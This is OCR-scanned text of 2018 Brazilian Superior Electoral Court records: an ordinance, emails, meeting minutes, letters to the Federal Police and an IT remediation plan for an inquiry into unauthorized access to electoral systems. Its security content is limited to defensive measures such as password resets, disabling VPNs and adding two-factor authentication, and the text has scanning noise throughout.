designar os Juízes Auxiliares do Gabinete da Presidência, Doutor Ricardo Fioreze 
e Doutor Fernando Pessôa da Silveira Mello, e o servidor Daniel Carlos Lima Corrêa, para, 
sob a presidência do primeiro, constituírem Comissão de Sindicância, visando apurar, no 
prazo de 60 dias, os fatos tidos como possíveis irregularidades, constantes do 
Procedimento SEI nº 2018.00.000014309-3. 


la ulhaa 


Ministra ROSA WEBER 
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Márcia Lobo Paiva Rodrigues 
De: Sérgio Carlos Tres e Silva 
Enviado em: quinta-feira, 8 de novembro de 2018 16:56 
Para: Márcia Lobo Paiva Rodrigues 
Cc: Joice Ribeiro Gonçalves Da Rocha 
Assunto: ENC: DJE - Aviso de Envio de Materia 


De: djeOtse.jus.br [mailto:djeOtse.jus.br] 


Enviada em: quinta-feira, 8 de novembro de 2018 16:56 
Para: Sérgio Carlos Tres e Silva 


Cc: dieOtse.jus.br 


ENE 
Assunto: DJE - Aviso de Envio de Materia S a 
(Esta é uma mensagem automática gerada pelo Diário de Justiça Eletrônico, não é necessário respondê-la.) Ê 8 
EE 
Recibo DJ-e Nr. 94276/2018 RO 
Prezado Sr(a) SÉRGIO CARLOS TRÉS E SILVA, E o 
Acusamos o recebimento da seguinte matéria para publicação no Diário da Justiça Eletrônico: à 5 
3 E 
2 |S 
; Data Data x a É Ê 
Titulo Resid Ealicação Seção SubSeção Tipo E 
PRSISRaçãO Jus ams: O8/11/18 09/11/18 Presidência [Atos da — Portaria 
Comissão de Sindicância. Presidência 


Este documento tem o mesmo valor probante do original apresentador 
Autenticado por Escrivao de Policia Federal, LEONARDO BRUCE MADUREIRA LOPES, 
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De: Presidencia 

Enviado em: terça-feira, 13 de novembro de 2018 15:17 

Para: Ricardo Fioreze; Fernando Pessõa da Silveira Mello; Daniel Carlos Lima Corrêa; 
Sérgio Carlos Tres e Silva 

Assunto: Comissão de Sindicância 

Prioridade: Alta 


Prezados Senhores, 


De ordem do Presidente da Comissão de Sindicância criada por meio da Portaria TSE 976/2018, convido todos os 
membros para a reunião inicial no dia 14/11/2018, quarta-feira, na sala de reuniões da Presidência, de 15h às 16h. 


Respeitosamente, 


11 da Lei 11.419/2006. 


Sérgio Trés 


17933, em 04/11/2020, às 11h20. 


do Art. 


Gabinete da Secretaria-Geral da Presidência 


E-mail: sergio.tres(tse.jus.br 
TSE Telefone: (61) 3030-7837 


MATRÍCULA: 
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TRIBUNAL SUPERIOR ELEITORAL 
Memorando nº 125 GAB-SPR 
Senhor Secretário de Tecnologia da Informação, 


Assunto: Informação nº 32 STI. 


Comunico a Vossa Senhoria que a Portaria TSE nº 976 criou Comissão de 


11 da Lei 11.419/2006. 


Autenticado por Escrivao de Policia Federal, LEONARDO BRUCE MADUREIRA LOPES, MATRÍCULA: 17933, em 04/11/2020, às 11h20. 


Sindicância visando a apurar os fatos tidos como possíveis irregularidades, noticiados na 
Informação nº 32 STI. 


Como Presidente da Comissão, coloco-me à disposição para a troca de informações e 
documentos, em caráter reservado, por meio do e-mail ricardo .fioreze O tse.jus.br ou do telefone 
(61) 3030-2795. 


Paralelamente, solicito a gentileza de, igualmente em caráter reservado, me serem 
informadas quais outras providências foram adotadas pela Secretaria de Tecnologia da 
Informação, incluindo as conclusões já obtidas, para apuração do ocorrido e saneamento das 
fragilidades que resultaram no acesso indevido, para, assim, tornar os sistemas mais seguros (item 


7 da citada Informação). 


Atenciosamente, 


Ricardo Fioreze 
Juiz Auxiliar da Presidência 
Presidente da Comissão de Sindicância 
RICARDO FIOREZE 
JUIZ AUXILIAR DA PRESIDÊNCIA DO TRIBUNAL SUPERIOR ELEITORAL 


EB Documento assinado eletronicamente em 23/11/2018, às 15:10, conforme art. 1º, $2º, HI, 
b, da Lei 11.419/2006. 


Este documento tem o mesmo valor probante do original apresentado, nos termos do S 1º do Art. 


A autenticidade do documento pode ser conferida em 


https://sei.tse.jus.br/sei/controlador externo.php? 


ia acao=documento conferir&id orgao acesso externo=0&cv=0911528&cre=FICA9EFD, 
ha informando, caso não preenchido, o código verificador 0911528 e o código CRC 


FICA9EFD. 
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TRIBUNAL SUPERIOR ELEITORAL 
Ofício nº 5979 GAB-SPR 
Brasília, 20 de novembro de 2018. 


A Sua Excelência o Senhor 

Dr. ROGÉRIO AUGUSTO VIANA GALLORO 
Diretor-Geral da Polícia Federal 

Brasília - DF 


Assunto: Ofício nº 5825 GAB-SPR. Medidas de polícia judiciária. 


Senhor Delegado, 


Informo a Vossa Excelência que a partir das informações constantes na Informação nº 
32 STI, enviadas ao Departamento da Polícia Federal por meio do Ofício nº 5825 GAB-SPR, foi 
criada, no âmbito do TSE, Comissão de Sindicância específica, visando a apurar os fatos tidos 


como possíveis irregularidades. 


Como Presidente da Comissão, coloco-me à disposição para a troca de informações e 
documentos, em caráter reservado, por meio do e-mail ricardo..fioreze O tse,jus.br ou do telefone 
(61) 3030-2795. 


Paralelamente, solicito a gentileza de, igualmente em caráter reservado, serem enviados 
a mim os resultados da investigação que for promovida por esse Departamento sobre o mesmo 


assunto. 


Atenciosamente, 


Autenticado por Escrivao de Policia Federal, LEONARDO BRUCE MADUREIRA LOPES, MATRÍCULA: 17933, em 04/11/2020, às 11h20. 


Este documento tem o mesmo valor probante do original apresentado, nos termos do S 1º do Art. 11 da Lei 11.419/2006. 


Ricardo Fioreze 
Juiz Auxiliar da Presidência 


Presidente da Comissão de Sindicância 


RICARDO FIOREZE 
JUIZ AUXILIAR DA PRESIDÊNCIA DO TRIBUNAL SUPERIOR ELEITORAL 


Documento assinado eletronicamente em 23/11/2018, às 15:11, conforme art. 1º, $2º, III, 
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TRIBUNAL SUPERIOR ELEITORAL 


Ata GAB-SPR nº 2/2018 
Tribunal Superior Eleitoral 
Comissão de Sindicância - Portaria TSE nº 976/2018 
Registro da 1º reunião - DOCUMENTO RESERVADO 


1. Identificação da reunião 

1.1. Data da reunião: 14/11/2018; 

1.2. Horário de início: 15h05; 

La. Horário de término: 15h25; 

1.4. Local: Sala de reuniões da Presidência do TSE; 

1,5. Relator: Sérgio Trés. 

2. Objetivo 

2.1. 1º Reunião Ordinária da Comissão de Sindicância criada para tratar da denúncia 


de acesso indevido a dados relativos a sistemas eleitorais e ao projeto de hardware da 
UE2018, conforme registrado na Informação nº 32 STI, constante no processo TSE SEI 
2018.00.000014309-3. 


Autenticado por Escrivao de Policia Federal, LEONARDO BRUCE MADUREIRA LOPES, MATRÍCULA: 17933, em 04/11/2020, às 11h20. 


Este documento tem o mesmo valor probante do original apresentado, nos termos do S 1º do Art. 11 da Lei 11.419/2006. 


3. Participantes 
3.1. Presidente: Ricardo Fioreze - ricardo .fioreze O tse.jus.br - (61) 3030-7995 
E RPA Membro: Fernando Pessôa da Silveira Mello - fernando.mello Otse.jus.br - 


(61) 3030-9076 


Sis: Membro: Daniel Carlos Lima Corrêa - daniel.correa O tse.jus.br - (61) 3030-7424 
4. Assuntos tratados 
4.1. O Senhor Ricardo Fioreze apresentou-se e deu início à reunião, agradecendo a 


presença dos demais e informando que o objetivo principal do encontro é formalizar a 


Sigiloso 
1. 506 
instalação da Comissão de Sindicância e iniciar a apuração administrativa das, atos 
apresentados na Informação nº 32 da Secretaria de Tecnologia da Informação (S Tf)2º 0943195 
4.2. Esclareceu que o objetivo principal desta Comissão de Sindicância é a apuração 


da falha ou irregularidade cometida, considerando-se os fatos apresentados. 


4.3. Relatou ainda a designação do servidor Sérgio Trés para secretariar a Comissão e 


para realizar o necessário apoio administrativo a seus membros. 


4.4. O Senhor Ricardo Fioreze propôs seja confirmado, junto à Presidência do 
Tribunal, se houve o encaminhamento da Informação nº 32 STI à Polícia Federal e, em 
caso positivo, seja juntado o respectivo expediente ao presente processo e sejam solicitadas 
à Polícia Federal informações sobre o andamento da investigação e o envio ao Presidente 


da Comissão de Sindicância, em caráter reservado, dos elementos obtidos com a 


11 da Lei 11.419/2006. 


17933, em 04/11/2020, às 11h20. 


investigação, o que foi aprovado pela Comissão de Sindicância. 


4.5. Propôs ainda que seja dado conhecimento da instalação desta Comissão à Polícia 


do Art. 


Federal, para que se viabilize troca de informações e auxílio mútuo, sempre que necessário 
e possível, o que também foi aprovado pela Comissão. 


MATRÍCULA: 


4.6. Acrescentou que a STI, segundo se extrai do conteúdo da Informação nº 32 STI, 
está dando continuidade à investigação lá iniciada, com a finalidade de verificar o efetivo 
alcance e danos provocados pelo acesso indevido noticiado na Informação nº 32 STI, e, em 
razão disso, propôs seja solicitado aquela Secretaria o envio ao Presidente da Comissão de 
Sindicância, em caráter reservado, das demais conclusões alcançadas por aquela área em 
razão da continuidade da apuração lá desenvolvida, o que igualmente foi aprovado pela 


Comissão. 


4.7. O Senhor Daniel Carlos Lima Corrêa ressaltou que devem ser apuradas as 
condições que permitiram a ocorrência deste acesso indevido e, em especial, se a pessoa 
responsável pela ocorrência ainda está ou não com acesso a rede do TSE, para impedir que 


o novo acesso indevido possa vir a ocorrer. 


4.8. O Senhor Ricardo Fioreze relatou que: 
4.8.1. De fato, houve o relato de invasão para coleta de informações de acesso restrito; 
4.8.2. Em tendo havido este acesso indevido, a bases de dados restritas ou a outros 


sistemas ou elementos, deve-se identificar a origem desse acesso, de forma que se 


impossibilite nova ocorrência similar. 


Este documento tem o mesmo valor probante do original apresentado, nos termos do S 1º 
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4.9. O Senhor Fernando Pessôõa da Silveira Mello propôs que, a partir das respostas 


recebidas da Polícia Federal e da STI, seja dada continuidade à investigação desta 


Comissão. 


4.10. O Senhor Daniel Carlos Lima Corrêa relatou que a STI havia descoberto 
previamente que alguns dos sistemas utilizados pelo TSE apresentavam vulnerabilidades e 
vinham sendo corrigidos ou inativados ao longo do tempo, como ocorreu recentemente 


com o sistema do “Malote Digital”. 


Sigiloso 
ri. 304 


4.11. Acrescentou que outra pergunta que deverá ser respondida posteriormente E /8º 
2020.0043195 
este acesso indevido foi antigo e não pode mais ocorrer pela correção do problema, ou se 


ainda há alguma vulnerabilidade passível de ser explorada de forma mal-intencionada. 


4.12. O Senhor Ricardo Fioreze agradeceu a presença de todos, encerrando a sessão, e 


informou que as próximas reuniões da Comissão serão agendadas conforme se faça 


necessário. 
5. Pendências 
Sds Verificar se foi produzido e, em caso positivo, juntar ao processo SEI 


2018.00.000014309-3 expediente enviado ao Departamento de Polícia Federal dando 
conhecimento da Informação nº 32 STI. 


11 da Lei 11.419/2006. 


Das Dar conhecimento ao Departamento de Polícia Federal sobre a instalação de 
Comissão de Sindicância no âmbito do TSE, visando a apurar os fatos relatados na 
Informação nº 32 STI, e, paralelamente, solicitar que sejam encaminhados ao Presidente da 
Comissão, em caráter reservado, os resultados da investigação que vem sendo promovida 


por aquele Departamento sobre o mesmo assunto. 


Pa A Solicitar à STI que informe sobre outras conclusões alcançadas por aquela área em 


razão da continuidade da apuração lá desenvolvida envolvendo os fatos relatados na 


Informação nº 32 STI. 
6. Anexos 
6.1. Sem anexos. 


RICARDO FIOREZE 
JUIZ AUXILIAR DA PRESIDÊNCIA DO TRIBUNAL SUPERIOR ELEITORAL 
Et] Documento assinado eletronicamente em 23/11/2018, às 15:10, conforme art. 1º, $2º, III, 
b, da Lei 11.419/2006. 


DANIEL CARLOS LIMA CORRÉA 
ASSESSOR(A) II 
[da] Documento assinado eletronicamente em 26/11/2018, às 15:26, conforme art. 1º, 82º, HI, 
b, da Lei 11.419/2006. 


Este documento tem o mesmo valor probante do original apresentado, nos termos do S 1º do Art. 
Autenticado por Escrivao de Policia Federal, LEONARDO BRUCE MADUREIRA LOPES, MATRÍCULA: 17933, em 04/11/2020, às 11h20. 


FERNANDO PESSÔA DA SILVEIRA MELLO 
JUIZ AUXILIAR DA PRESIDÊNCIA DO TRIBUNAL SUPERIOR ELEITORAL 
E o) Documento assinado eletronicamente em 12/08/2019, às 16:02, conforme art. 1º, $2º, III, b, da Lei 
11.419/2006. 
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TRIBUNAL SUPERIOR ELEITORAL 
Ofício nº 5825 GAB-SPR 4º 
Brasília, 06 de novembro de 2018. ERES 
A Sua Excelência o Senhor Ea 
ROGÉRIO AUGUSTO VIANA GALLORO RE: 
Diretor-Geral da Polícia Federal “É 
Brasília - DF E E 
Assunto: Medidas de polícia judiciária. 8 Ê 
Senhor Diretor-Geral, E : 
Tendo em vista o teor do e-mail que acompanha o E É 
presente ofício (anexo - I), bem como dos documentos e ER 
imagens nele veiculadas (mídia digital - anexo II), solicito a a: 
Vossa Excelência a adoção das medidas administrativas de E 
polícia judiciária pertinentes. E 
Atenciosamente, Ê E 
jm WEBER 8s 
Presidente s É 
“Pecebi em OI] 


1c6 4 


Sigiloso 


E-mail - 0918365 SR/PF/DF 


2020.0043195 


Data de Envio: 
23/11/2018 15:22:12 


De: 
TSE/Presidência <presidenciaQtse.jus.br> 


Para: 
dg dpf.gov.br 


Assunto: 
Ofício nº 5979 GAB-SPR. Assunto: Ofício nº 5825 GAB-SPR. Medidas de polícia judiciária. 


Mensagem: 
Ao Gabinete da Diretoria-Geral, 


Prezados Senhores, 


11 da Lei 11.419/2006. 


17933, em 04/11/2020, às 11h20. 


Encaminho em anexo o Ofício nº 5979 GAB-SPR. 


do Art. 


Solicito a gentileza de ser confirmado o recebimento do documento, para juntada do comprovante no 
processo. 


MATRICULA 


Atenciosamente, 


Sérgio Trés 

Secretaria-Geral da Presidência 
Tribunal Superior Eleitoral 
Telefone (61) 3030-7837 


Anexos: 
Oficio 0911585.htm! 
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Autenticado por Escrivao de Policia Federal, LEONARDO BRUCE MADUREIRA LOPES, Í Ê 


Sigiloso 


E-mail - 0918450 SR/PF/DF 


2020.0043195 


Data de Envio: 
23/11/2018 15:51:18 


De: 
TSE/Presidência <presidenciaQtse.jus.br> 


Para: 
giuseppe.janinowtse.jus.br 


Assunto: 
Memorando nº 125 GAB-SPR. Assunto: Informação nº 32 STI. 


Mensagem: 
Prezado Senhor Giuseppe, 


De ordem, encaminho em anexo o Memorando nº 125 GAB-SPR. 


11 da Lei 11.419/2006. 


Solicito a gentileza de confirmação de recebimento do documento, para ser juntada ao processo de 
sindicância. 


17933, em 04/11/2020, às 11h20. 


do Art. 


Atenciosamente, 


MATRICULA 


Sérgio Trés 

Secretaria-Geral da Presidência 
Tribunal Superior Eleitoral 
Telefone (61) 3030-7837 


Anexos: 
Memorando 0911528.htm!l 
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SR/PF/DF' 
Thaiane de Oliveira Veras apaproR 
De: Giuseppe Dutra Janino 
Enviado em: sexta-feira, 23 de novembro de 2018 18:41 
Para: Presidencia 
Assunto: RES: Memorando nº 125 GAB-SPR. Assunto: Informação nº 32 STI. 
Recebi do. 


At enci osarente, 
G useppe Jani no 


ssa Mensagem original ----- 

De: TSE/Presi dência [mailto: presi denciaQse.jus.br] Enviada em sexta-feira, 23 de 
novenbro de 2018 15:51 

Para: G useppe Dutra Janino 

Assunto: Memorando nº 125 GAB-SPR Assunto: Informação nº 32 STI. 


11 da Lei 11.419/2006. 


Prezado Senhor G useppe, 


17933, em 04/11/2020, às 11h20. 


do Art. 


De ordem encami nho em anexo o Menvrando nº 125 GAB- SPR 


Solicito a gentileza de confirmação de recebi mento do documento, para ser juntada ao 
processo de si ndi cânci a. 


MATRICULA 


At enci osarmente, 


Sérgio Trés 

Secretaria-Geral da Presi dência 
Tri bunal Superior Heitoral 
Telefone (61) 3030-7837 
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TRIBUNAL SUPERIOR ELEITORAL 


Memorando n.º 211 — STI 
Em 26 de novembro de 2018. 


Ao Exmo. Senhor Presidente da Comissão de Sindicância 


Assunto: Resposta. Memorando nº 125 GAB-SPR 


1. Reporto-me ao Memorando nº 125 GAB-SPR para encaminhar 
documento anexo (Plano de Ação - PA2018 - Ampliação das 
Proteções de Segurança), disponível mediante o Processo SEI 
2018.00.000014939-3, contendo informações sobre as providências a 
serem adotadas por esta Secretaria de Tecnologia da Informação 
visando sanear as fragilidades que resultaram no acesso indevido. 

2. Cumpre ressaltar que o supracitado plano de ação está em 
andamento, com algumas atividades já concluídas, e outras com data 
planejada para execução. 


Respeitosamente, 





Secretário de Teéno da Informação 


Autenticado por Escrivao de Policia Federal, LEONARDO BRUCE MADUREIRA LOPES, MATRÍCULA: 17933, em 04/11/2020, às 11h20. 
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Tribunal Superior Eleitoral 
Metodologia de Gerenciamento de Projetos Plano de Ação — PA 


(Abertura) 
TSE 


Nº Protocolo SEI: 2018.00.000014939-3 


PA2018 - Ampliação das Proteções de Segurança 


Tipo de ação: [X] Corretiva [DX] Preventiva [9 de Melhoria 


1. Identificação do plano de ação 
Unidade:  STI Jai ; 
Cliente: ' R Ramal: 8884 
Nome: Giuseppe Dutra Janino À ERR 
E-mail: giuseppe.janinodtse.jus.br 


11 da Lei 11.419/2006. 


17933, em 04/11/2020, às 11h20. 


do Art. 


Unidade executora: STI 





: 
H 
Ramal: 8911 B 
Gerente do plano: Nome: Marcelo Lauriano Lucio ; SAS o 
E-mail: marcelo.lauriano(Dtse.jus.br a 
a 
Ramal: 8840 
Apoio gerencial: Nome: Wylker Silveira Barros > SS 
E-mail: wylker.barrosútse.jus.br 
Data prevista de Data prevista de 
intoihe 07/11/2018 témiino: 11/04/2019 





Iniciativa vinculada: Não se aplica. 


AF. 28 — Monitorar continuamente os serviços de TI, a fim de realizar as intervenções 


Alinhamento PDTI: necessárias em caso de indisponibilidade e ameaças de segurança. 


2. Histórico de revisão do documento 





LEONARDO BRUCE MADUREIRA LOPES, 




















Este documento tem o mesmo valor probante do original apresentado, nos termos do S 1º 


Versão Data Responsável Descrição 
0.1 13/11/2018 || Wylker Silveira Barros Elaboração do documento. ' 
0.2 19/11/2018 | Marcelo Lauriano Lucio | Revisão do documento pelo gerente do projeto. E 
' R e (o) 
0.3 18/11/2018 | Wylker Silveira Barros | Ppicição de ajustes apôs revisão do gerente do g 
E (ço) 
04 20/11/2018 pa qe a revisão da Seproj e registro de considerações de a 
ajustes. o 
0.5 20/11/2018 Wylker Silveira Barros Aplicação de ajustes após revisão da Seproj. 2 
0.6 20/11/2018 Giuseppe Dutra Janino | Revisão do documento pelo cliente. 9 
0.7 20/11/2018 Wylker Silveira Barros Aplicação de ajustes após revisão do cliente. ã 
U 
1.0 21/11/2018 | Adriana Amaral Revisão final da Seproj para deliberação na CTTI. à 
“ 
o 
3. Cenários a 
Ú 
U 
3.1 Cenário atual Ê 
v 
Após revisão das políticas de segurança e do inventário tecnológico relacionado a proteção de E 


dados e integridade de informações do TSE, foram observadas vulnerabilidades que precisam 
ser minimizadas ou suprimidas. É cediço que o TSE possui base de informações sensíveis e 
precisa aprimorar seus mecanismos para manter esses dados e informações em sigilo, assim 
como tomar ações preventivas para manter a inviolabilidade dos sistemas que compõem o 
processo eleitoral. 
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TSE 


3.2 Cenário futuro 


Com o objetivo de responder ao diagnóstico de vulnerabilidades nos mecanismos de 
segurança da informação no âmbito da Justiça Eleitoral, serão aplicados procedimentos, 
políticas e normas de segurança consideradas fundamentais para o devido tratamento dos 
riscos com ataques externos e internos. As ações previstas nesta iniciativa contemplam desde 
o encaminhamento de recomendações aos usuários dos serviços da JE, de análise de 
viabilidade de publicação de código-fonte, de investimentos em atualização tecnológica, até a 
solicitação formal para criação de unidade de segurança de tecnologia da informação. 


4. Áreas, grupos ou entidades impactados 


11 da Lei 11.419/2006. 


17933, em 04/11/2020, às 11h20. 







Descrição do impacto previsto 


Cliente da iniciativa, responsável pela | 





definição das diretrizes do plano de ação e | á 
x SEC pelo apoio formal nas medidas | gabdgltse.jus.br Rs 
recomendadas e adotadas pelo corpo | É 
técnico da STI. | E 
Responsável por apurar reportar sobre 
XxX Polícia Federal eventuais falhas de segurança na rede do | Não se aplica. 
TSE. 


Este documento tem o mesmo valor probante do original apresentado, nos termos do S 1º do Art. 


Cliente da iniciativa, responsável pela | giuseppe.janinoltse,jus.br 


ST definição das diretrizes do plano de ação. gabstildtse jus.br 


Líder do escritório de crise. Responsável por 
GAB-STI planejar, conduzir e monitorar as atividades 
e ações contempladas na iniciativa. 


elmano.alvesQOtse.jus.br 
marcelo laurianoQdtse.jus.br 





Responsável alinhamento, ordenação e 
execução das atividades do plano de ação, 
| bem como por colaborar com as demais 
Crra - partes interessadas no fornecimento de : 
Escritório de Crise informações. O grupo é constituído pele | Não de aplica. 
secretário de TI, coordenadores da STI e 

chefes de seção. 


O grupo não está formalizado. | 
Membro do escritório de crise. Responsável 
por apoiar a aplicação de ações 
relacionadas a elaboração de políticas e | cristiano.andradeQtse.jus.br 
normas de segurança, bem como participar | coinfútse.jus.br 
diretamente das atividades que fomentem a 
segurança do ambiente tecnológico da JE 


LEONARDO BRUCE MADUREIRA LOPES, 





Coinf 








Membro do escritório de crise. Responsável | 
por apoiar a aplicação de ações 
relacionadas a elaboração de políticas e | ivanildo.gomesQOtse,jus.br 
normas de segurança, bem como participar | sesaptsejus.br 
diretamente das atividades que fomentem a 

segurança do ambiente tecnológico da JE. 


Sesap/Coinf 





Autenticado por Escrivao de Policia Federal, 


Membro do escritório de crise. | 
Responsável por apoiar a aplicação de | 
ações relacionadas a elaboração de políticas | marcelo.cameiroBtse jus.br 
Sesop/Coinf e normas de segurança, bem como | sesoplise jus.br 
participar diretamente das atividades que | dé: 
fomentem a segurança do ambiente | 
tecnológico da JE | 
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Área Área, grupo ou 
externa à | entidade Descrição do impacto previsto E-mail 
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Membro do escritório de crise. 

Responsável por apoiar a aplicação de 

ações relacionadas a elaboração de políticas 
Seint/Csele e normas de segurança, bem como 

participar diretamente das atividades que 

fomentem a segurança do ambiente 

tecnológico da JE. 


Membro do escritório de crise. Responsável 
por apoiar a aplicação de ações 
relacionadas a elaboração de políticas e | rodrigo.coimbraútse.jus.br 
normas de segurança, bem como participar | sevinOtse,us.br 

diretamente das atividades que fomentem a | 
segurança do ambiente tecnológico da JE. 


alberto.cavalcanteQDtse.jus.br 
seintOtse.jus.br 
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Sevin/Csele 





Membro do escritório de crise. Responsável 

pelo acompanhamento do projeto, prestação 

de suporte metodológico no que se refere às | ladjane.arrudaQtse.jus.br 
atividades de gerenciamento de projeto, | seprojmtse.jus.br 
consolidação e reporte das informações do 

projeto à alta gestão da STI. 


"Áreas externas devem ser sinalizadas com “x” na coluna 'Área externa à ST!”. 


MATRÍCULA: 


Seproj/COGTI 


5. Critérios para verificação da eficácia 


e As ações previstas nesta iniciativa possuem, cada uma delas, critérios individuais de 
verificação e serão avaliados após sua conclusão. 


LEONARDO BRUCE MADUREIRA LOPES, 


6. Premissas/Restrições 


e Premissas: 
o Disponibilidades das áreas envolvidas na execução das suas ações e na participação 
das discussões e decisões do escritório de crise. 
o Disponibilidade da equipe da GAB-STI na condução dos trabalhos e na integração das 
partes interessadas; 
o Disponibilidade da equipe da Seproj no apoio metodológico aplicado a gestão da 
iniciativa; 
e Restrições: 
o As ações previstas na iniciativa devem estar concluídas até março de 2019. 


7. Ações a serem implementadas 
Vide anexo |: Cronograma do plano de ação extraído da ferramenta corporativa EPM. 


8. Riscos do plano de ação 
Vide anexo Il: Relatório de Riscos do Plano de Ação, extraído da ferramenta corporativa EPM. 


Este documento tem o mesmo valor probante do original apresentado, nos termos do S 1º do Art. 


Autenticado por Escrivao de Policia Federal, 


9. Aprovação do documento 


sei! A Secretaria de Tecnologia da Informação — STI utilizou o Sistema Eletrônico de 
Informações — SEI para assinatura e aprovação deste documento. 
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Q 
Q 33% 
+1 ai = Pk e = = ç, 100% 
+ Reportar Desempenho da Iniciativa ) 14% 
+ Encerramento Q 0% 
- Executar Plano de Ação 2 15% 
- Ações de Curto Prazo 2 93% 
Desligamento dos serviços do servidor de build / 100% 
Desligamento dos equipamentos do ambiente de apresentação dos códigos-fonte “ 100% 
Bloqueio des contas da SEVIN nos equipamentos servidores APP UF dos tribunais regionais eleitorais 100% 
Relatório preliminar para & Polícia Federal “ 100% 
Reunião preliminar com a Polícia Federal “ 100% 
Estabelecer o escritório de crise com reuniões diárias Dá 100% 
Elaborar reistório complementar para 3 Polícia Federa! “ 100% 
Elaborar lista ordenada do nível de vulnerabilidade das aplicações do TSE As de maior severidade “ 100% 
serão encaminhadas à administração do TSE com recomendação de desativação 
Trocar senhas de rede de todos os usuários Q 95% 
Desabiltar VPNs, exceto das embaixadas “ 100% 
Planejar uma nova Iscração Q 99% 
Avaliar O risco sobre o vazamento do GEDA-UE “ 100% 
Mapear os compartilhamentos de pastas locais “ 100% 
Notificar os usuários e acompanhar os riscos da utilização de pastas compartilhadas “ 100% 
Verificar os equipamentos que estão com o antivirus desabilitado “ 100% 
Elaborar estudo de viabilidade Divulgação do código ds uma e do GEDAI! “ 100% 
Notificar os usuários e chefes de seção sobre os equipamentos com antivirus desabilitado quanto aos 100% 
riscos pera s Instituição 
Notificar os tribunais regionais eleitorais quanto às ações locais: Trocar senhas de usuários, Definir OD 80% 
política de troca de senhas, Desabiltar servidores de aplicação vulneráveis; Cancelar todas as VPNs 
Segurança de perímetro: Revisar os mecanismos de segurança adotados pelo TSE e TRES no acesso 0) 75% 
de internet 
Encaminhar expediente para a Diretoria-Geral solcitando que todos os Fiscais de Contratos do TSE “ 100% 
informem periodicamente à STI situações de desligamentos de colaboradores que fazem uso de 
recursos tecnológicos do TSE 
- Ações de Médio Prazo Q 6% 
Revisar e implantar uma nova política de alteração de senhas periodicamente Verificar os Q 0% 
procedimentos de desabiitar contas de servidores e colaboradores deshigados e atualizá-los, se 
necessário 
Avaliar criticidade e aplicar ações para tratamento dos diretórios compartilhados na rede , 40% 
Aplicar ações para desativação ou tratamento específico das aplicações que apresentam + 75% 
vulnerabilidade 
Notificar CGE sobre as ações e tratamentos a serem aplicados no FiliaiWeb [0 10% 
Elaborar lista ordenada do nível de vulnerabilidade das aplicações dos TRES As de maior severidade (D) 0% 
serão encaminhadas às respectivas administrações regionais com recomendação de desativação 
Segurança de rede interna: Criar mecanismos de ampliação da proteção dos dados e códigos-fontes (D) 0% 


7 dias 
94 dias 
14 dias 
t dia 
1 dia 
1 dia 
1 dia 
1 dia 
4 dias 
0 dias 
1 dia 


Wi dias 
1 dia 

9 dias 
4 dias 
5 dias 
4 dias 
2 dias 
4 dias 
5 dias 


11 dias 


11 dias 


4 dias 


30 dias 
20 dias 


10 dias 
10 dias 


10 dias 
20 dias 


20 dias 


Início 


101 dias Qua 07/11/18 


2020 (0043195 há 
Seg 15/04/19 





gi Seg 15/04/19 
Qui 08/11/18 Qua 21/11/18 
Ter 1311/18 Seg 11/02/19 
Sex 05/04/19 Seg 15/04/19 
Qua 07/11/18 Qui 04/04/19 
Qua 07/1118 Ter 27118 
Qua 07/11/18 Qua 07/1118 SEVIN 
Qua 07/11/18 Qua 07/11/18 ASAG-TI SEVIN 
Qua 07/1118 Qua 07/1118 SESOP 
Qua 07/1118 Qua 07/11/18 st 
Qua 07/11/18 Qua 07/1118 st 
Qua 07/11/18 Seg 12/11/18 sm 
Seg 1211/18  |Segranima st 
Seg 12/11/18 Seg 1211/18 SESAP 
Seg 12/1118 Ter 27/1118 SESOP 
Ter 1311/18 Ter 131/18 SESOP 
Seg 12/11/18 Sex 2311/18 CSELE/ASAG-T] 
Seg 12/11/18 Sex 18/11/18 CSELE 
Seg 12/11/18 Seg 19/11/18 COINF 
Seg 12/1118 Sex 16/11/18 SESOP 
Seg 12/11/18 Ter 13/11/18 CONF 
Seg 12/11/18 Sex 16/11/18 SEVIN 
Seg 12/11/18 Seg 19/11/18 SESAP 
Seg 12/11/18 Ter 27/1118 CONF 
Seg 12/11/18 Ter 27/1118 CONF 
Seg 12/11/18 Sex 16/11/18 ASAG-TI 
Ter 131118 Qui 10/0119 
Qua 28/11/18 Qui 10/01/19 CONF 
Ter 20/1118 Seg 03/12/18 CONF 
Ter 13/11/18 Ter 27/1118 SESAP 
Seg 26/11/18 Seg 10/12/18 
Qua 28/11/18 Qui 10/01/19 st 
Qua 28/11/18 Qui 10/01/19 CONF 
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Notificar CGE sobre as ações e tratamentos a serem aplicados no FilaWeb 

Elaborar lista ordenada do nivel de vulnerabilidade das aplicações dos TRÊS As de maior severidade 
serão encaminhadas às respectivas administrações regionais com recomendação de desativação 
Segurança de rede interna: Criar mecanismos de ampliação da proteção dos dados e códigos-fontes 
mais críticos; Revisar a segmentação e proteção da rede interna do TSE, em relação a VLAN e 
Firewall, permitindo acesso sos usuários devidamente autorizados 

Recomendar adoção do uso de duplo fator de autenticação no acesso a VPN. 

Renovar do convênio com o CEPESq 


Comparar as últimas versões do GEDALUe com a versão que foi lacrada, bem como as intervenções 
realizadas no repositório de códigos-fonte nos meses de agosto e setembro de 2018 


Aplicar políticas de segurança na sala da OAB 

Reavaliar aplicação de firmware 

Solicitar regularização do dominio aos Tribunais que ainda fazem uso do domínio antigo .gov br 
Solicitar a Diretoria-Geral apoio para a criação de unidade de segurança de tecnologia e da 
informação no âmbito da ST! 

Farmalizar o Comité de Segurança da Informação 


Formalizar a Equipe de Tratamento e Resposta a Incidentes — ETIR 
- Ações de Longo Prazo 

Realizar investimentos em atualização tecnológica: Web application firewall Análise de segurança de () 

código fonte, Atualização das versões das soluções 

implantar políticas e normas de segurança: Elaborar e implantar ss normas derivadas da PSI que visam (D) 

estabelecer mais segurança nos procedimentos dos servidores e colaboradores. Criar procedimento 

especifico para o direcionamento à Polícia Federal 

Transferr para a Coinf a responsabilidade da administração de hardware e SO do servidor de Q 

integração continua Sevin 

Adicionar mais de um critério de autenticação 

Verificar se a regularização do dominio “jus br” foi realizada pelos Tribunais Regionais 


EE 


E 


3 3233 3233 238 
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32 


10 dies 
20 dias 


20 dias 


20 dias 
20 dias 
20 dias 


20 dias 
20 dias 
20 dias 
O dias 


O qias 
0 dias 
60 dias 
60 dias 


60 dias 


60 dias 


60 dias 
60 dias 


Seg 26/11/18 
Qua 28/11/18 


Qua 28/11/18 


Qua 28/11/18 
Qua 28/11/18 
Qua 28/11/18 


Qua 281118 
Qua 2811/18 
Qua 28/11/18 
